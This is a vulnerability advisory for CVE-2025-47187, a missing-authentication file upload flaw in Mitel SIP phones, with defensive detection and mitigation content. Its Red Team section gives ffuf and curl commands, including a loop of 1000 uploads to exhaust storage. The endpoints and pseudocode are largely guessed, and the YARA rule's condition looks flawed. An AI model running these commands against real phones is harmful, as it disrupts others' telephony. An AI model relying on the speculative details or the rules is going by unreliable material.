CVE-2025-47187

Executive Summary

CVE-2025-47187 exposes a critical authentication bypass vulnerability in Mitel 6800 Series, 6900 Series, 6900w Series SIP Phones, and the 6970 Conference Unit. An unauthenticated attacker can upload arbitrary WAV files to the device’s filesystem, potentially exhausting storage. While the vendor states availability and operation are not affected, storage exhaustion can lead to denial of service for logging, configuration persistence, or future firmware updates. The vulnerability stems from missing authentication mechanisms in the file upload endpoint. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD placeholder – no vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): Low (file upload)
• Availability (A): Low (storage exhaustion)
• Threat Level: Medium (due to low complexity and no authentication, but limited impact)

Deep Dive & Mechanics

The vulnerability resides in the web management interface or SIP provisioning endpoint of the affected Mitel phones. The file upload functionality lacks any authentication check, allowing any network-accessible attacker to send HTTP POST requests with WAV file content. The phone’s firmware accepts these files and writes them to the filesystem (likely /tmp or a dedicated upload directory). Repeated uploads can fill the storage partition, causing:

• Failure to save configuration changes
• Inability to install future firmware updates
• Potential crash of logging or diagnostic services

The attack does not require any prior knowledge or credentials. The attacker only needs network access to the phone’s management port (typically TCP 80, 443, or 5060 for SIP). The uploaded files are not executed, so code execution is not achieved, but storage exhaustion is a valid denial-of-service vector.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is likely in the web server component handling file uploads. A typical vulnerable snippet (pseudocode) would be:

# Vulnerable: No authentication check
@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('/tmp/uploads', filename))
    return 'OK', 200

A patched version would require authentication:

# Patched: Authentication required
@app.route('/upload', methods=['POST'])
@login_required
def upload_file():
    file = request.files['file']
    filename = secure_filename(file.filename)
    file.save(os.path.join('/tmp/uploads', filename))
    return 'OK', 200

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the Mitel phone (e.g., same VLAN or via SIP trunk)
• Target IP: 192.168.1.100 (example)
• Upload endpoint: /upload or /cgi-bin/upload.cgi (discover via fuzzing)

Exploitation Steps:

1. Discover the upload endpoint using a tool like ffuf:

   ffuf -u http://192.168.1.100/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,302
   

2. Upload a WAV file using curl:

   curl -X POST -F "file=@/path/to/sound.wav" http://192.168.1.100/upload
   

3. Exhaust storage by uploading many files:

   for i in {1..1000}; do
     curl -X POST -F "file=@/path/to/sound.wav" http://192.168.1.100/upload
   done
   

Expected Outcome: The phone’s storage fills up, causing configuration save failures and potential service disruption.

Blue Team

Detection:

• Monitor for multiple HTTP POST requests to /upload or similar endpoints from a single source IP.
• Alert on high volume of file uploads (e.g., >10 per minute).
• Check for storage usage spikes on the phone via SNMP or syslog.

Hunting:

• Search logs for POST /upload with status 200.
• Look for repeated file parameters in POST bodies.

Mitigation:

• Block access to the phone’s management interface from untrusted networks.
• Implement network segmentation (VLAN) for VoIP devices.
• Deploy a WAF rule to block unauthenticated file uploads.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /upload or /cgi-bin/upload.cgi without prior authentication.
  • Repeated uploads of .wav files from the same source IP.
• Host:
  • High disk usage on the phone’s filesystem (check via df -h if shell access available).
  • Presence of unexpected .wav files in /tmp/uploads or /var/spool/upload.
• Logs:
  • Syslog entries: File upload from <IP> to /upload without corresponding login event.

Detection Engineering

YARA Rule

rule CVE_2025_47187_Mitel_File_Upload {
    meta:
        description = "Detects WAV file upload attempts to Mitel phones"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47187"
    strings:
        $wav_header = { 52 49 46 46 }  // "RIFF"
        $http_post = "POST /upload"
        $http_cgi = "POST /cgi-bin/upload.cgi"
    condition:
        ($wav_header at 0) and ($http_post or $http_cgi)
}

Sigma Rule

title: Mitel Phone Unauthenticated File Upload
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects unauthenticated WAV file uploads to Mitel phones
author: Valters IT
logsource:
    category: webserver
    product: mitel
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/upload'
            - '/cgi-bin/upload.cgi'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate firmware updates (if authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47187 Mitel Unauthenticated File Upload"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_client_body; content:"RIFF"; within:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the file upload functionality if not required (via phone configuration or firewall).
2. Restrict network access to the phone’s management interface using ACLs or VLAN segmentation.
3. Monitor for anomalous upload activity using the provided detection rules.

Long-Term Fix:

• Apply vendor patch when released (currently UNKNOWN).
• Implement mutual TLS authentication for all management endpoints.
• Conduct a security audit of the phone’s web server code.

Workaround:

• If the phone supports it, disable HTTP management and use only HTTPS with client certificates.

Valters IT